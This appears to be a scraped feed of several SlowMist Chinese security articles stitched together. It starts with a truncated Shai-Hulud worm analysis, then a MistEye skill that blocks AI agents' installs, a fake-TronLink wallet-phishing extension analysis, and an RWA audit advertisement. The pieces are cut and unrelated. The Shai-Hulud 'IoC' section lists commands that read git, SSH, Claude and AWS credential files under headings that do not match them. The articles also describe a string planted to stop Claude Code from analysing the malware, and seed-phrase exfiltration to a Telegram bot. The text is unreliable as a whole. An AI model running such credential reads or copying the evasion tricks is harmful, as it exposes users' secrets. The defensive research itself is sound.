 if (locale.startsWith("ru")) return true;  // 排除俄语系统
 // ...
}

排除俄语系统的可能原因：

SlowMist Agent 思考：特意排除俄语系统，最合理的解释是开发者本身与俄语地区有密切联系。

3.3 C2 服务器分析

C2 域名：git-tanstack.com

模仿合法域名：tanstack.com

路径： /router

这是典型的域名仿冒攻击手法，目的是让恶意流量看起来像合法的 TanStack 项目。

四、追踪分析：TeamPCP

4.1 行动痕迹

我们发现以下有趣的线索：

4.2 关联账号

三个可疑账号被发现与 Shai-Hulud 代码相关：

猫是 TeamPCP 的标志 —— agwagwagwa 的 "meow!" 仓库让安全研究员确信这不是巧合。

4.3 "Anthropic Magic String"

恶意软件中包含一段特殊字符串，专门用来阻止 Claude Code 分析：

// 发现于多个配置文件中
// 包含这段字符串的账号资料不会被 Claude 分析

这进一步证实了攻击者对 AI 安全工具的了解。

五、开源的影响：潘多拉魔盒已打开

5.1 从"专属武器"到"公共服务"

TeamPCP 的这次开源，意味着：

从前：只有 TeamPCP 能发动 Shai-Hulud 攻击

现在：任何人都可以部署自己的 Shai-Hulud 变种

5.2 copycat 已经开始行动

我们的情报显示，fork 者已经开始修改代码并扩大攻击范围：

- agwagwagwa 已提交 PR 添加 FreeBSD 支持

- 更多仓库正在出现

- 可以通过 GitHub 搜索 "A Gift From TeamPCP" 追踪

5.3 威胁等级升级

六、IoC 指标汇总

# 检查 GitHub Actions 中是否有可疑 workflow
cat ~/.git-credentials


# 检查 SSH 私钥访问记录
ls -la ~/.ssh/


# 检查 Claude 配置
cat ~/.claude.json
cat ~/.claude/mcp.json


# 检查 AWS 凭证
cat ~/.aws/credentials

八、总结

Shai-Hulud 开源事件是 2026 年最重要的网络安全事件之一：

跳转微信打开

MistEye Security Gate 专注依赖于安装前的安全检查，通过硬阻断逻辑和全量覆盖率门限，为 AI 代理的依赖安全提供可靠的前置防线。

慢雾安全团队正式发布 MistEye Security Gate（安全前置闸门技能），为 Claude Code、Cursor、OpenAI GPT 等主流 AI 编码代理提供先检测、后执行的依赖安装与域名访问前置安全检测能力，覆盖供应链投毒、恶意外链及第三方 Skill/MCP 安装三大核心风险场景。

MistEye Security Gate 开源地址：github.com/slowmist/misteye-skills

一、背景：AI 代理的技能生态与供应链风险

{  
 "target": "requests@2.32.3",  
  "type": "package:pypi" 
  }

5.4 验证安装

安装完成后，MistEye 会触发安装后提醒，建议用户开启每日自动化巡检：

首次安装已完成。建议开启主动巡检：默认推荐每天一次。

巡检将首先检查 https://github.com/slowmist/misteye-skills 是否有新版本；如果存在更新，会在继续巡检前提示。

巡检主要做三件事：

1）检查版本更新；

2）扫描已安装 Skill/MCP 的依赖声明，优先使用 package:* 供应链直查，再对提取的 url/domain/email/hash 执行 MistEye 检测；

3）汇总结果集中展示。 主要目的是将"手动打补丁"的安全检查变成每日自动化的运营动作，更早发现供应链投毒、恶意外链以及因规则失效导致的漏检。

之后，每次 AI 代理执行 pip install、npm install 等依赖安装命令或访问外部 URL 时，MistEye 会自动触发前置检测（输出格式见第七章实战场景）。

六、设计特点

6.1 纯规则驱动，零脚本依赖

MistEye Security Gate 不包含任何可执行脚本（无 .sh、无二进制文件、无可执行代码）。所有的检测逻辑均以 Skill 规则文件(SKILL.md) 的形式定义，由 AI 代理在运行时解析执行。这种设计：

• 消除了 Skill 本身的供应链风险 — 用户可以直接审查 SKILL.md 的全部内容。

• 最大化了跨平台兼容性 — 任何支持 Skill 规范的 AI 代理均可使用。

• 降低了维护成本 — 规则更新只需替换 SKILL.md 文件。

6.2 零信任前置

MistEye 默认不信任任何依赖和任何域名。即使开发者凭经验认为某个包"应该安全"，也需要通过 API 检测验证。零信任原则贯穿整个执行链路。

6.3 硬阻断机制

当检测到风险时，MistEye 硬阻断操作——不允许 AI 代理绕过或忽略检测结果。这意味着：

• 不存在"仅提示但放行"的灰色地带。

• "检测失败"被视为"不安全"，执行阻断而非放行。

• API 不可用时，系统宁可阻断也不盲放。

6.4 开放性

MistEye 的规则文件、调度器模板、API 接口文档全部开源，用户可自行审计、定制或集成到自有安全体系中。

七、实战场景：它在你日常工作流中长什么样

跳转微信打开

本次攻击通过仿冒 Chrome 扩展与远程钓鱼页面构建双层攻击链，实现钱包凭据窃取，并结合反分析、地域分流等手段展现出成熟的钓鱼攻击工程化能力。

背景

近日，慢雾 MistEye 安全监控系统捕获到一个针对 TRON 钱包用户的高风险钓鱼攻击样本。该样本伪装为与 TRON 钱包生态相关的 Chrome MV3 (Manifest V3) 扩展，通过品牌冒充与远程可变 UI 装载相结合的方式，构建了一条完整的钱包凭据窃取链。

攻击手法分为两层：第一层是一个仿冒 TronLink 的 Chrome 扩展，利用 Unicode 方向控制字符和西里尔同形字伪装品牌名称，在用户安装后优先加载远程 iframe 作为 popup 界面；第二层是远程钓鱼页面，该页面完整仿造了 TronLink Wallet 网页钱包的 UI 和功能，在用户无感知的情况下收集助记词、私钥、keystore 文件及密码，并通过同源 API 和 Telegram Bot 外传。静态扩展包审查难以覆盖远程 iframe 的后续界面行为，特此发布分析报告供社区防御和自查。

MistEye 响应

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。

在捕获本次仿冒 TronLink 的 Chrome 扩展及其关联远程钓鱼页面后，MistEye 系统已触发高危告警并推送客户。

(https://enterprise.misteye.io/threat-intelligence/SM-2026-211873)

恶意扩展分析

该样本为 Chrome MV3 扩展，扩展包结构伪装为合法的区块链查询工具。

品牌伪装与防御规避

扩展的 manifest.json 通过 Chrome 国际化机制将扩展名称和标题指向 locale 消息文件。在 _locales/en/messages.json 中，攻击者使用了 Unicode 双向控制字符和西里尔同形字构造字符串 T\u202Enor\u202CL\u0456\u202Ekn，使浏览器展示层与官方 TronLink 品牌高度相似，属于面向钱包用户的欺骗性分发行为。

商店信用继承

该恶意扩展在 Chrome Web Store 页面中展示"1,000,000+ 用户"和"4.5 分（353 个评分）"等数据，但这些数据并非由扩展代码自行伪造——Chrome Web Store 的用户数、评分和评论均绑定在扩展的 item id 上，随同一商店条目继承。攻击者极可能先控制了某个已有高装机量或高评分的合法扩展条目，再上传新版本并替换名称、图标和描述，从而在商店页面呈现"百万用户、高评分"的可信外观，大幅降低受害者的警惕性。

该扩展仅申请了 storage 权限，但同时在 host_permissions 中声明了对 https://tronfind-api.tronfindexplorer.com/* 和 https://api.trongrid.io/* 的访问权限。前者为远程 popup 装载端点，后者用于本地备用查询逻辑，在权限声明上刻意保持低调以规避审查。

远程 UI 装载攻击链

用户安装扩展后，点击扩展图标打开 popup 时触发以下攻击链：

1. popup 入口 src/popup/index.html 加载主逻辑脚本 assets/index.html-2KXeQB-c.js。

2. 脚本启动后优先通过 fetch 探测远程端点 https://tronfind-api.tronfindexplorer.com/。

3. 若远程端点返回 HTTP 200，脚本将 tronfindapiAvailable 设为 true，并将远程 URL 写入 localStorage 的 tronfindapiURL 键中。

4. 扩展随后创建一个覆盖整个 popup 窗口的 <iframe>，其 src 指向远程钓鱼 URL，并赋予 clipboard-write 权限。

5. 只有当远程端点不可用时，扩展才会回退到本地 TronGrid 查询界面。

关键装载逻辑如下：

该模式使攻击者可以在不更新扩展包的情况下，随时替换 popup 所展示的远程页面内容。静态扩展包审查无法覆盖远程 iframe 的后续界面行为。

本地数据留存

扩展在 localStorage 中保存三类本地标记：tronfindapiAvailable（远程 API 可用性标记）、tronfindapiURL（远程 iframe URL）和 tronfind_recent_searches（用户查询历史，可能包含 TRON 地址、交易哈希或区块查询记录）。这些数据在扩展被手动移除前会持续保留。

远程钓鱼页面分析

对远程装载域名 tronfind-api.tronfindexplorer.com 的主站进行下载分析后，确认其为一套功能完整的仿冒 TronLink Wallet 网页钱包，具备全面的凭据窃取能力。

界面伪装

该站点是一个基于 Next.js 构建的单页应用。页面标题、UI 文案和布局均伪装为 TronLink Wallet，外观上与官方 TronLink 网页钱包高度一致，普通用户难以通过视觉分辨真伪。

凭据窃取机制

站点在钱包导入流程中嵌入多层敏感信息收集逻辑：

1. 用户选择"导入助记词""导入私钥"或"导入 keystore 文件"时，前端代码调用 sendWords(...) 函数。

2. sendWords(...) 将收集到的钱包助记词、私钥、keystore 文件内容等敏感数据打包为 JSON，通过 POST 请求发送到同源接口 /api/data/words，服务端随后将这些凭据通过 Telegram Bot API 实时转发至攻击者控制的账号 chat_id: 8334454422。

3. 生成新钱包时，代码通过 trackEvent("Generated mnemonic: ...") 方式记录生成的助记词。

4. 导入流程中的 keystore 密码和导入密码也会通过 trackEvent(...) 函数记录。

5. 多签钱包验证弹窗会要求用户输入"authority address"的助记词或私钥，并同样通过 sendWords(...) 上报。

访问者追踪与封禁

该站点实现了完善的访问者识别和反分析机制：

• 客户端 JS 读取 Cookie _vb 和 _vid 用于访问者标识。

• 通过 /api/visitor/enrich 和 /api/visitor/sync 接口进行封禁检查，命中封禁后页面会跳转至 about:blank，此举旨在阻断自动化沙箱爬取或安全研究员的动态调试，使被识别为分析环境的访问无法观察到真实的钓鱼界面。

• 用户行为和敏感事件通过 trackEvent(...) 上报到 /api/visitor/track。

反分析手段

页面包含多重反分析逻辑：禁用右键菜单、禁用文本选择、拦截 F12 和 DevTools 快捷键、清空浏览器 console、禁止拖拽操作、禁止打印。这些措施增加了安全研究人员对其进行分析取证的难度。

地域定向分流

代码中包含地域判断逻辑：当检测到俄语浏览器语言或俄罗斯相关时区的用户时，页面会自动重定向至 trx-scan-explorer.org，表明攻击者可能对特定地区用户采取不同的钓鱼策略或规避当地执法关注。

恶意基础设施分析

本次攻击的核心基础设施为 tronfind-api.tronfindexplorer.com，该域名同时承担远程 UI 装载和凭据窃取后端的双重角色。关联域名 trx-scan-explorer.org 作为俄语地区用户的分流跳转目标，同样应视为攻击基础设施的一部分。

远程钓鱼页面托管于 Vercel 平台（响应头中检出 x-vercel-id），攻击者利用 Vercel 的边缘网络获得较好的可用性和隐蔽性。

需要注意的是，扩展代码中硬编码的 api.trongrid.io 和 tronscan.org 为 TRON 生态的合法服务，仅用于扩展的本地备用查询与跳转逻辑，不计入恶意 IOC。

总结

本次攻击是一个双层结构的钓鱼攻击链：第一层通过仿冒 Chrome 扩展实现对受害者的初始接触和远程 UI 装载，利用 Unicode 同形字和最小化权限声明规避安全审查；第二层通过远程钓鱼页面实现对钱包凭据的全面收集和外传。攻击者采用的反分析手段、访问者封禁逻辑和地域定向分流表明其具备成熟的钓鱼攻击工程能力。

这种"本地扩展外壳 + 远程可变钓鱼内容"的攻击模式对传统的静态扩展审查构成挑战。扩展包本身可以不包含任何恶意代码，仅凭远程 iframe 即可将 popup 完全替换为钓鱼页面，且钓鱼页面内容可随时变化。

该攻击链的审核规避设计值得关注：本地 CRX 扩展仅表现为低权限的 TRON 查询工具和远程 iframe 装载器，真正的钱包钓鱼与凭据窃取逻辑托管在远程 Next.js 页面中；而远程端又通过 404/301 分流、visitor 封禁、俄语/俄罗斯时区重定向以及反分析逻辑等多层手段，使自动化审核或人工复核环境难以稳定观察到真实的钓鱼界面。结合前端多维度反爬与环境检测（如封禁自动化沙箱、俄语区定向分流），这种"壳核分离 + 动态环境对抗"的架构显著降低了攻击载荷被安全平台检出的概率。

建议:

1. 若已安装该仿冒 TronLink 扩展，请立即从 Chrome 扩展管理页面移除，并清除该扩展的站点数据和本地存储。

2. 若曾在该扩展的 popup 或远程钓鱼页面中输入助记词、私钥、keystore 文件、keystore 密码或钱包密码，应立即使用可信设备创建新钱包，并将全部资产迁移至新钱包地址，旧钱包视为已泄露。

3. 安全团队应在代理、DNS、EDR 日志中检索并阻断域名 tronfind-api.tronfindexplorer.com。同时，在浏览器扩展资产清单中重点检索硬编码 tronfind-api.tronfindexplorer.com 的样本哈希和 assets/index.html-2KXeQB-c.js。

4. 企业环境应通过 GPO 或 MDM 策略限制非批准 Chrome 扩展的安装，并定期审计已安装扩展中的远程 iframe、可变 popup UI 和品牌同形字。

5. 对发往 /api/data/words、/api/visitor/track 以及 api.telegram.org/bot*/sendMessage 的异常网络流量进行重点监控和告警。

官方校验信息

以下信息仅用于用户自查和真伪比对，不作为恶意 IOC：

• 官方 TronLink Chrome 扩展 ID：ibnejdfjmmkpcnlpebklmnkoeoihofec

• 官方 TronLink 扩展商店页面：https[:]//chromewebstore.google.com/detail/ibnejdfjmmkpcnlpebklmnkoeoihofec

用户可通过比对扩展 ID 来区分真伪。

IOC

域名

tronfind-api[.]tronfindexplorer[.]com

trx-scan-explorer[.]org

URL

https[:]//tronfind-api[.]tronfindexplorer[.]com/

https[:]//tronfind-api[.]tronfindexplorer[.]com/api/data/words

https[:]//tronfind-api[.]tronfindexplorer[.]com/api/visitor/track

https[:]//tronfind-api[.]tronfindexplorer[.]com/api/visitor/create

https[:]//tronfind-api[.]tronfindexplorer[.]com/api/visitor/enrich

https[:]//tronfind-api[.]tronfindexplorer[.]com/api/visitor/sync

Telegram

chat_id: 8334454422

Chrome 扩展

• 恶意扩展 ID：ekjidonhjmneoompmjbjofpjmhklpjdd

• 恶意扩展商店页面：https[:]//chromewebstore.google.com/detail/ekjidonhjmneoompmjbjofpjmhklpjdd

恶意文件

恶意扩展

MD5: ce612d027e631d6633582227eb29002f

SHA1: 94d651b42355f2b0765a7435e5a5927623807225

SHA256: 6b4a4b64e6f969017cb3a9a71dd3038ddf32b989e5342dbbe36650d5802f2ee4

filename: index.html

SHA256: b84b89f0a1b7f00431274ac676104acaaa73d440e5731161d1077e733014cc29

filename: 27-a530a8c5aa9059e0.js

SHA256: 0cbf4f21cf157227d2c3fba80b64e1f4c3f9d2cc0bf926e024252c35e93edd5a

跳转微信打开

慢雾 RWA 智能合约安全审计服务现已推出，欢迎有需求的项目方及相关机构联系我们。

背景

RWA（Real World Asset，现实世界资产）正在成为 Web3 与传统金融深度融合的核心方向。债券、股权、房地产、设备、收益权等现实世界资产的链上映射，正在重塑数字资产生态的边界。

与传统 DeFi 不同，RWA 协议的安全边界从"代码安全"延伸至"权利确权、合规治理与链下执行"。一次权限变更，可能对应的是资产冻结；一次强制转账，可能影响的是真实世界中的债权归属。代码与法律之间的映射关系，使得 RWA 的安全审计已不再是单纯的技术问题，而是涵盖技术、合规与业务逻辑的复合命题。

与此同时，全球监管机构也开始加速布局 RWA 赛道。无论是香港证监会(HKSFC) 对 STO 的合规要求，还是美国 SEC 对证券化代币的审查标准，监管合规正成为 RWA 项目进入市场的核心门槛。

在这一背景下，慢雾安全团队正式推出 RWA 智能合约安全审计服务，以系统化的方法论、完整的审计框架和丰富的实战经验，为 RWA 项目的安全落地提供全面保障。

RWA 协议形态与发展现状

RWA 赛道目前已形成多条主流协议路径，并在证券、房地产、实物资产、结构化收益等细分领域快速落地：

• 证券 / 股权 / 债券型 RWA：参考 ERC-1400 (UniversalToken)、ERC-3643 (T-REX)、ERC-7518 等标准，融合 KYC/AML 白名单、合规转账控制、强制操作等机制；

• 房地产 / 不动产型 RWA：以 ERC-6065 为代表，在链上结构化存储房产地权、抵押负担、产权证号等信息；

• 实物 / 设备 / 商品批次型 RWA：以 ERC-4519、ERC-7765 为代表，将 NFT 与物理设备或实物权益绑定，实现链上兑换与注销流程；

• 收益权 / 结构化资产型 RWA：以 ERC-6960 (Dual Layer Token) 为代表，支持主资产 + 子资产的分层结构，映射分级收益权、优先/次级份额等复杂金融产品。

然而，正是这种横跨链上与链下、代码与法律的复合属性，使 RWA 成为当前 Web3 安全领域最具挑战性的审计对象之一。

为什么 RWA 审计不同于普通 DeFi 审计?

从代码审计的视角，RWA 协议相较于普通 DeFi 存在三大核心差异：

第一，资产本质不同：代码只是一层"映射"。

在纯链上协议里，合约状态通常就是资产的唯一事实来源。而在 RWA 中，智能合约管理的只是现实资产的"索引"和"权利凭证"，背后还有 SPV、托管人、发行人、清算人等链下角色，以及法律、合同和监管框架。审计不能只看代码是否有 bug，还需要关注"代码行为是否与项目声称的权利结构一致"。

第二，权限与角色更加密集和敏感。

RWA 协议中的角色分工对应现实世界：发行人、资产管理人、托管机构、合规服务商、清算人等，在合约中形成复杂的权限层级。一个角色的权限边界，直接影响真实世界的资产归属，审计需要对每一个高危函数和权限路径进行完整梳理与风险定性。

第三，业务流程穿插链上与链下。

典型的 RWA 操作路径是：用户在链上调用 → 合约更新状态并记录事件 → 链下系统执行真实资产交割、过户或清算。链上代码与链下业务执行的一致性，成为 RWA 审计不可绕过的核心命题。

慢雾 RWA 安全审计方案

慢雾安全团队基于对主流 RWA 协议族的深度解构，结合多年区块链安全实战经验，推出了一套系统化的 RWA 安全审计服务，覆盖以下核心维度：